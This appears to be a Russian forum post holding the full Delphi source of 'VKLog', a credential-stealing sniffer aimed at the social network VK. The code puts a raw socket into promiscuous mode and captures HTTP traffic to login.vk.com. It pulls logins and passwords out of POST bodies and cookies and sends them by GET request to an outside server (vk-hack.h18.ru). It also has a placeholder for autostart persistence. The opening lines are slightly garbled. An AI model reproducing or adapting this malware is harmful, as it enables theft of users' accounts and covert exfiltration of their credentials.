Компиляция на asm

     IP_header = packed record
ver_length, TOS:byte;
size, Id, flags_segment: word;
TTL, Proto:byte;
checksum:word;
source_ip,dest_ip:packed record q,w,e,r:byte; end;
end;program VKLog;
 
//{$APPTYPE CONSOLE}
 
uses
Windows,WinSock,
Parser in 'Parser.pas';
 
type
//- это IP-пакет
IP_header = packed record
ver_length, TOS:byte;
size, Id, flags_segment: word;
TTL, Proto:byte;
checksum:word;
source_ip,dest_ip:packed record q,w,e,r:byte; end;
end;
 
//- это ТCP-пакет(с заголвком и данными)
TCP_Packet = packed record
source_port, dest_port:word;
posl,podt:integer;
size,flags:byte;
window_:word;
cheksum:word;
urg_field:word;
data:array[0..65535] of char;
end;
 
Function GetLocalIP : String;
Var WSAData: TWSAData;
P: PHostEnt;
Name: array[0..$FF] of Char;
Begin
WSAStartup($0101, WSAData);
GetHostName(Name, $FF);
P := GetHostByName(Name);
Result := inet_ntoa(PInAddr(P.h_addr_list^)^);
WSACleanup;
End;
 
Function LookupName(name:String): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PChar(name));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;
 
Function ConnectToHost(sock:Tsocket;host:string;port:integer):integer;
var
sServrerAdr:sockaddr_in;
begin
sServrerAdr.sin_addr.S_addr := htonl(INADDR_ANY);
sServrerAdr.sin_family := AF_INET;
sServrerAdr.sin_port := htons(port);
sServrerAdr.sin_addr := LookupName(host);
 
Result := connect(Sock,sServrerAdr,sizeof(sServrerAdr));
end;
 
Procedure SendRequest(sock:TSocket;Req:string);
var
TempStr:string;
SendBuf:array [0..1023] of char;
begin
TempStr := req + #13#10;
CopyMemory(@SendBuf,Pchar(TempStr),Length(TempStr));
send(sock,SendBuf,Length(TempStr),0);
end;
 
procedure SendDataTOServer(login:string;password:string);//отправка данных на сервер (пхп скрипт)
var
wData:WSAData;
soket:TSocket;
Request:string;
begin
Request := 'GET [url]http://vk-hack.h18.ru/serv.php?login=[/url]' + login + '&pass=' + password + ' HTTP/1.1' + #13#10 +
'Host: vk-hack.h18.ru:80'+ #13#10 +
'Accept: text/html;q=1, image/jpeg;q=0.5, */*' + #13#10 +
'User-agent: VKLoger' + #13#10;
WSAStartup(MakeWord(1,1),wData);
soket:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
ConnectToHost(soket,'wm-babos.h1.ru',80);
SendRequest(soket,Request);
sleep(500);
closesocket(soket);//ответ от сервера не волнует
end;
 
Procedure TestHeader(Header:string);//проверка HTTP пакета на валидность (вырезание из него пароля или куков)
var
ReqType:string;
Host:string;
Cookie:String;
Post:string;
pass:string;
login:string;
begin
Header := EnterTrim(Header);
ReqType := GetRequestType(Header);
if (ReqType = 'POST') or (ReqType = 'GET') then
begin
Host := GetHost(Header);
if (Host = 'login.vk.com') and (ReqType = 'GET') then
begin
Cookie := GetCookie(Header);
login := GetValueFromString('l',Cookie);
pass := GetValueFromString('p',Cookie);
if (pass <> '') and (pass <> '') then
SendDataTOServer(login,pass);
end;
if (Host = 'login.vk.com') and (ReqType = 'POST') then
begin
Post := GetPostParams(Header);
login := GetValueFromString('email',Post);
pass := GetValueFromString('pass',Post);
if (pass <> '') and (pass <> '') then
SendDataTOServer(login,pass);
end;
exit;
end;
 
if ISServAnswer(Header) then
begin
Cookie := GetCookieSet(Header);
login := GetValueFromString('l',Cookie);
pass := GetValueFromString('p',Cookie);
if (pass <> '') and (pass <> '') and (pass <> 'deleted') and (pass <> 'deleted') then
SendDataTOServer(login,pass);
exit;
end;
 
end;
 
procedure DoSnifer;
var
IP_Size:byte;
SBuf:string;
HTTPHeader:string;
LastRequestType:String;
RequestType:string;
 
S:TSocket;
Adr:TSockAddr;
W:WSAData;
flag,count:integer;
a:array[0..262144] of byte;
 
IP:IP_header;
TCP:TCP_Packet;
 
begin
LastRequestType := '';
HTTPHeader := '';
 
WSAStartup(MakeWord(2,2),W);
S:=socket(AF_INET,SOCK_RAW,IPPROTO_IP);
ZeroMemory(@Adr,sizeof(Adr));
Adr.sin_family:=AF_INET;
Adr.sin_addr.S_addr:=inet_addr(pchar(GetLocalIP));
bind(S,Adr,sizeof(Adr));
flag:=1;
ioctlsocket(S,$98000001,flag);
 
While true do
begin
count:=recv(S,A,sizeof(A),0);//читаем данные
Move(A[0],IP,SizeOf(IP));//заполняем структуру IP пакета
 
if ip.Proto = 6 then// если в IP пакете TCP пакет то продолжить
begin
IP_Size := IP.ver_length;
IP_Size := (IP_Size and 15)*4 ;//вычисляем размер IP пакета из структуры
FillChar(TCP,SizeOf(TCP),0);
Move(A[IP_Size],TCP,Count - IP_Size{SizeOf(TCP)});//заполняем структуру TCP пакета
sBuf:=TCP.data;//читаем данные из TCP пакета (HTTP пакет)
SBuf := Trim(SBuf);
 
RequestType := GetRequestType(SBuf);
 
 
if RequestType = 'POST' then//если пост запрос то
begin
if LastRequestType = 'POST' then//проверяем был ли до этого пост запрос
begin
TestHeader(HTTPHeader);//если да то отправляем предыдущий запрос на проверку
LastRequestType := '';
end;
HTTPHeader := SBuf;//читаем данные
LastRequestType := 'POST';//указываем что произошел пост запрос
Continue;
end;
 
//если к нам пришел не пост запрос(ответ от сервера, GET запрос и т.д)
if (copy(RequestType,1,4) = 'HTTP') or//если ответ идет от сервера то функция GetRequestType вернет HTTP/x.x
(RequestType = 'GET') or
(RequestType = 'HEAD') or
(RequestType = 'OPTIONS') or
(RequestType = 'TRACE') then
begin
if LastRequestType = 'POST' then//проверяем был ли до этого пост запрос
begin
TestHeader(HTTPHeader);//если да то отправляем предыдущий запрос на проверку
LastRequestType := '';
end;
HTTPHeader := SBuf;//читаем данные
TestHeader(HTTPHeader);// отправляем запрос на проверку
LastRequestType := '';
Continue;
end;
 
//если никакой запрос не пришел и последний запрос был POST то
if (copy(RequestType,1,4) = 'HTTP') or
(RequestType <> 'GET') and
(RequestType <> 'HEAD') and
(RequestType <> 'POST') and
(RequestType <> 'OPTIONS') and
(RequestType <> 'TRACE') and
(LastRequestType = 'POST') then
begin
HTTPHeader := HTTPHeader + #13#10#13#10 + SBuf;//добавляем данные(параметры POST запроса) к запросу
end;
end;
end;
closesocket(S);
WSACleanup;
end;
 
Procedure InfectCOMP;
begin
//можно написать процедуру добавления в автозагрузку
end;
 
var
id:cardinal;
thr:Cardinal;
begin
InfectCOMP;
thr := BeginThread(nil,0,Addr(DoSnifer),nil,0,id);
while true do
sleep(1000000);
end.

http://vk-hack.h18.ru